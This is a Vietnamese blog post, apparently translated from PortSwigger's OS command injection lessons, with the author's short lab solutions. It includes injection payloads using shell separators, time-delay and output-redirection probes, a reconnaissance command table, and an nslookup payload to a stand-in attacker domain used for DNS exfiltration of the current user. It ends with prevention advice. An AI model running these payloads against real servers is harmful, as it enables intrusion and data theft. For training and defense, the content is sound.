Server-side vulnerabilities - OS command injection

 

Bài viết gốc

OS command injection

Trong phần này, chúng tôi giải thích chèn lệnh hệ điều hành là gì, và mô tả cách phát hiện và khai thác các lỗ hổng. Chúng tôi cũng cho bạn biết một số lệnh và kỹ thuật hữu ích cho các hệ điều hành khác nhau, và mô tả cách ngăn chặn chèn lệnh hệ điều hành.


What is OS command injection?

OS command injection còn được gọi là shell injection. Nó cho phép kẻ tấn công thực thi các lệnh hệ điều hành (OS) trên máy chủ đang chạy một ứng dụng, và thường làm hỏng hoàn toàn ứng dụng và dữ liệu của nó. Thường, kẻ tấn công có thể tận dụng lỗ hổng chèn lệnh hệ điều hành để xâm phạm các phần khác của cơ sở hạ tầng lưu trữ, và lợi dụng các mối quan hệ tin cậy để chuyển tiếp cuộc tấn công đến các hệ thống khác trong tổ chức.

Injecting OS commands

Trong ví dụ này, một ứng dụng mua sắm cho phép người dùng xem một mặt hàng có còn hàng ở một cửa hàng cụ thể hay không. Thông tin này được truy cập qua một URL:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Để cung cấp thông tin về hàng tồn kho, ứng dụng phải truy vấn các hệ thống cũ khác nhau. Vì lý do lịch sử, chức năng này được thực hiện bằng cách gọi ra một lệnh shell với mã sản phẩm và mã cửa hàng làm đối số:

stockreport.pl 381 29

Lệnh này xuất ra trạng thái hàng tồn kho cho mặt hàng được chỉ định, và trả về cho người dùng.

Ứng dụng không thực hiện bất kỳ biện pháp phòng vệ nào chống lại chèn lệnh hệ điều hành, vì vậy kẻ tấn công có thể gửi đầu vào sau để thực thi một lệnh tùy ý:

& echo aiwefwlguh &

Nếu đầu vào này được gửi trong tham số productID, lệnh được thực thi bởi ứng dụng sẽ là:

stockreport.pl & echo aiwefwlguh & 29

Lệnhecho in ra chuỗi được cung cấp được phản hồi trong đầu ra. Đây là một cách hữu ích để kiểm tra một số loại chèn lệnh hệ điều hành. Ký tự & là một dấu phân cách lệnh shell. Trong ví dụ này, nó gây ra ba lệnh riêng biệt được thực thi, một sau một. Đầu ra trả về cho người dùng là:

Error - productID was not provided aiwefwlguh 29: command not found

Ba dòng đầu ra cho thấy rằng:

  • Lệnh stockreport.pl ban đầu được thực thi mà không có các đối số mong đợi, và do đó trả về một thông báo lỗi.
  • Lệnh echo được chèn vào được thực thi, và chuỗi được cung cấp được phản hồi trong đầu ra.
  • Đối số ban đầu 29 được thực thi như một lệnh, gây ra một lỗi.

Đặt dấu phân cách lệnh bổ sung & sau lệnh được chèn vào: Điều này hữu ích vì nó tách lệnh được chèn vào khỏi bất cứ thứ gì theo sau điểm chèn. Điều này giảm khả năng những thứ theo sau sẽ ngăn cản lệnh được chèn vào thực thi.

Ways of injecting OS commands

Bạn có thể sử dụng một số ký tự để thực hiện tấn công OS command injection.

Một số ký tự có chức năng phân tách lệnh, cho phép các lệnh được xâu chuỗi lại với nhau. Các dấu phân cách lệnh sau hoạt động trên các hệ thống dựa trên Unix:

  • &
  • &&
  • |
  • ||

Các dấu tách lệnh sau chỉ hoạt động trên các hệ thống dựa trên Unix:

  • ;
  • Newline (0x0a or \n)

Trên các hệ thống dựa trên Unix, bạn cũng có thể sử dụng backticks hoặc ký tự đô la để thực hiện thực thi bên trong lệnh được chèn trong lệnh gốc:

  • `injected command `
  • $(injected command )

Các ký tự shell khác nhau có hành vi khác nhau có thể thay đổi việc chúng có hoạt động trong một số tình huống nhất định. Điều này có thể ảnh hưởng đến việc chúng có cho phép truy xuất nội bộ kết quả lệnh hay chỉ hữu ích cho khai thác mù.

Đôi khi, đầu vào mà bạn kiểm soát xuất hiện trong dấu ngoặc kép trong lệnh gốc. Trong trường hợp này, bạn cần kết thúc ngữ cảnh được trích dẫn (sử dụng" hoặc ') trước khi sử dụng các ký tự shell phù hợp để chèn một lệnh mới.

Lab: OS command injection, simple case

Lab này chứa lỗ hổng chèn lệnh hệ điều hành trong trình kiểm tra kho sản phẩm.

Ứng dụng thực thi lệnh shell chứa sản phẩm do người dùng cung cấp và ID cửa hàng, đồng thời trả về kết quả thô từ lệnh trong phản hồi của nó.

Để giải quyết bài lab, hãy thực thi lệnh whoami để xác định tên của người dùng hiện tại.

ACCESS THE LAB

Solution

Đây là 1 lab làm quen với OS command injection nên cũng khá đơn giản. Truy cập vào web và kiểm tra stock của 1 sản phẩm, intercept request và chỉnh sửa thử


Vậy là đã thực thi lệnh whoami nhưng mà vì nó có thêm tham số 1 nên là bị lỗi, vì sau khi thực hiện yêu cầu thì sẽ có dạng 

Mặc dù cũng đã nhìn thấy được tên người dùng rồi, nhưng mà chưa đạt yêu cầu nên là mình sẽ chuyển whoami sang tham số thứ 2


Vậy là hoàn thành lab.

Những câu lệnh hữu ích

Sau khi bạn xác định một lỗ hổng chèn lệnh hệ điều hành, bạn có thể thực thi một số lệnh ban đầu để lấy thông tin về hệ thống. Dưới đây là một bảng tổng hợp một số lệnh hữu ích trên các nền tảng Linux và Windows:

Purpose of command Linux Windows
Tên của người dùng hiện tại whoami whoami
Hệ điều hành uname -a ver
Cấu hình mạng ifconfig ipconfig /all
Các kết nối mạng netstat -an netstat -an
Tiến trình đang chạy ps -ef tasklist

Blind OS command injection vulnerabilities

Nhiều trường hợp OS command injection là những lỗ hổng mù (blind vulnerabilities). Điều này có nghĩa là ứng dụng không trả về kết quả từ lệnh trong phản hồi HTTP của nó. Những lỗ hổng mù vẫn có thể bị khai thác, nhưng cần các kỹ thuật khác nhau.

Ví dụ, hãy tưởng tượng một trang web cho phép người dùng gửi phản hồi về trang web. Người dùng nhập địa chỉ email và tin nhắn phản hồi của họ. Ứng dụng bên phía máy chủ sau đó tạo ra một email gửi đến quản trị viên trang web chứa phản hồi. Để làm điều này, nó gọi ra chương trình mail với các chi tiết được gửi:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

Đầu ra từ lệnh mail (nếu có) không được trả về trong phản hồi của ứng dụng, do đó, việc sử dụng payload echo sẽ không hoạt động. Trong tình huống này, bạn có thể sử dụng nhiều kỹ thuật khác để phát hiện và khai thác lỗ hổng.

Detecting blind OS command injection using time delays

Bạn có thể sử dụng injected command để kích hoạt độ trễ thời gian, cho phép bạn xác nhận rằng lệnh đã được thực thi dựa trên thời gian ứng dụng cần để phản hồi. Sử dụng lệnh ping là một cách tốt để thực hiện việc này vì cho phép bạn chỉ định số lượng gói ICMP cần gửi. Điều này cho phép bạn kiểm soát thời gian thực hiện lệnh:

& ping -c 10 127.0.0.1 &

Lệnh này khiến ứng dụng ping vào loopback network adapter của nó trong 10 giây.

Lab: Blind OS command injection with time delays

Lab này chứa một lỗ hổng tiềm ẩn OS command injection trong chức năng phản hồi.

Ứng dụng thực thi một lệnh shell chứa các chi tiết do người dùng cung cấp. Kết quả từ lệnh không được trả lại trong phản hồi.

Để giải quyết lab, khai thác lỗ hổng tiềm ẩn OS command injection để gây ra sự chậm trễ 10 giây.

ACCESS THE LAB

Solution

Mình thử điền ký tự | vào trong tất cả các trường thì chỉ có email trả lại kết quả lỗi như hình dưới, giờ thì phải nghiên cứu làm sao để chèn được lệnh ping vào trong đó


Không mất nhiều thời gian, mình đã mò được khi sử dụng ký tự ; hoặc ||


Exploiting blind OS command injection by redirecting output

Bạn có thể chuyển hướng đầu ra từ injected command vào một tệp trong web root mà bạn có thể sau đó truy xuất bằng trình duyệt. Ví dụ, nếu ứng dụng phục vụ tài nguyên tĩnh từ vị trí hệ thống tệp /var/www/static, thì bạn có thể gửi đầu vào sau:

& whoami > /var/www/static/whoami.txt &

Ký tự > gửi kết quả từ lệnh whoami vào tập tin chỉ định. Sau đó bạn có thể dùng trình duyệt để truy cập https://vulnerable-website.com/whoami.txt để truy xuất tệp và xem đầu ra từ injected command.

Lab: Blind OS command injection with output redirection

Lab này có chứa một lỗ hổng blind OS command injection trong chức năng phản hồi.

Ứng dụng thực thi lệnh shell chứa các chi tiết do người dùng cung cấp. Đầu ra từ lệnh không được trả về trong phản hồi. Tuy nhiên, bạn có thể sử dụng chuyển hướng đầu ra để nắm bắt đầu ra từ lệnh. Có một thư mục có thể ghi tại:

/var/www/images/

Ứng dụng phục vụ hình ảnh cho danh mục sản phẩm từ vị trí này. Bạn có thể chuyển hướng đầu ra từ lệnh được chèn vào một tệp trong thư mục này, sau đó sử dụng URL tải hình ảnh để truy xuất nội dung của tệp.

Để giải quyết lab, hãy thực thi lệnh whoami và truy xuất kết quả.

ACCESS THE LAB

Solution

Đây chính xác là phần 2 của lab trước thôi vì lỗi giống hệt, mình tiếp tực chèn command vào email như sau 

Quay ra ngoài kiếm một cái link ảnh sản phẩm để đọc file whoami.txt mà mình tạo ra.



Vậy là hoàn thành, cũng không khó lắm, nhưng nếu có lỗi này trong hệ thống thật thì đúng là quá nguy hiểm.

Exploiting blind OS command injection using out-of-band (OAST) techniques

Bạn có thể sử dụng một lệnh injected sẽ kích hoạt một tương tác mạng ngoài băng tần với một hệ thống mà bạn kiểm soát, sử dụng các kỹ thuật OAST. Ví dụ:

& nslookup kgji2ohoyw.web-attacker.com &

Payload này sử dụng lệnh nslookup sẽ thực hiện tra cứu DNS cho tên miền được chỉ định. Kẻ tấn công có thể giám sát để xem nếu việc tra cứu xảy ra, để xác nhận nếu lệnh đã được chèn thành công.

Lab: Blind OS command injection with out-of-band interaction

Lab này chứa một lỗ hổng blind OS command injection trong chức năng phản hồi.

Ứng dụng thực thi một lệnh shell chứa các đầu vào do người dùng cung cấp. Lệnh được thực thi không đồng bộ và không ảnh hưởng đến phản hồi của ứng dụng. Không thể chuyển hướng đầu ra vào một vị trí mà bạn có thể truy cập. Tuy nhiên, bạn có thể kích hoạt out-of-band interactions với một tên miền bên ngoài.

Để giải quyết bài lab, khai thác lỗ hổng blind OS command injection để gửi ra một truy vấn DNS đến Burp Collaborator.

ACCESS THE LAB

Solution 

Vẫn như phần trước thì mình biết trước là lỗ hổng nằm ở phần email rồi nên là làm luôn. Vì Burp Collaborator chỉ có ở phiên bản pro thôi nên phải dùng lậu mới có :v.
Mở tab Collaborator lên và ấn Copy to clipboard để copy lấy một domain.

Sau đó chuyển qua tab Repeater để dán vào như hình bên dưới


Quay lại tab Collaborator sẽ thấy nhận được một cái query kiểu nhày và ấn vào sẽ nhìn thấy tên user mình gửi ra được.


Lab: Blind OS command injection with out-of-band data exfiltration

Lab này chứa một lỗ hổng blind OS command injection trong chức năng phản hồi.

Ứng dụng thực thi một lệnh shell chứa các đầu vào do người dùng cung cấp. Lệnh được thực thi không đồng bộ và không ảnh hưởng đến phản hồi của ứng dụng. Không thể chuyển hướng đầu ra vào một vị trí mà bạn có thể truy cập. Tuy nhiên, bạn có thể kích hoạt out-of-band interactions với một tên miền bên ngoài.

Để giải quyết lab này, thực thi lệnh whoami và gửi ra thông qua một truy vấn DNS đến Burp Collaborator. Bạn sẽ cần nhập tên của người dùng hiện tại để hoàn thành lab.

ACCESS THE LAB

Solution

Cũng giống hệt lab bên trên, sau khi lấy được username thì submit lại để hoàn thành lab thôi.



How to prevent OS command injection attacks

Cách hiệu quả nhất để ngăn chặn lỗ hổng bảo mật OS command injection là không bao giờ gọi ra các lệnh OS từ mã ứng dụng. Trong hầu hết các trường hợp, có những cách khác để triển khai chức năng cần thiết bằng cách sử dụng các API nền tảng an toàn hơn.

Nếu bạn phải gọi ra các lệnh OS với dữ liệu đầu vào từ người dùng, thì bạn phải thực hiện việc kiểm tra dữ liệu đầu vào một cách cực kỳ nghiêm ngặt. Một số ví dụ về việc kiểm tra hiệu quả bao gồm:

  • Kiểm tra so với whitelist của các giá trị được phép.
  • Kiểm tra xem dữ liệu đầu vào có phải là số không.
  • Kiểm tra xem dữ liệu đầu vào chỉ chứa các ký tự chữ và số, không có cú pháp hoặc khoảng trắng khác.

Đừng bao giờ cố gắng làm sạch dữ liệu đầu vào bằng cách loại bỏ các ký tự shell. 

Trên thực tế, điều này quá dễ gây ra lỗi và dễ bị kẻ tấn công có kỹ năng vượt qua.



Đăng nhận xét

0 Nhận xét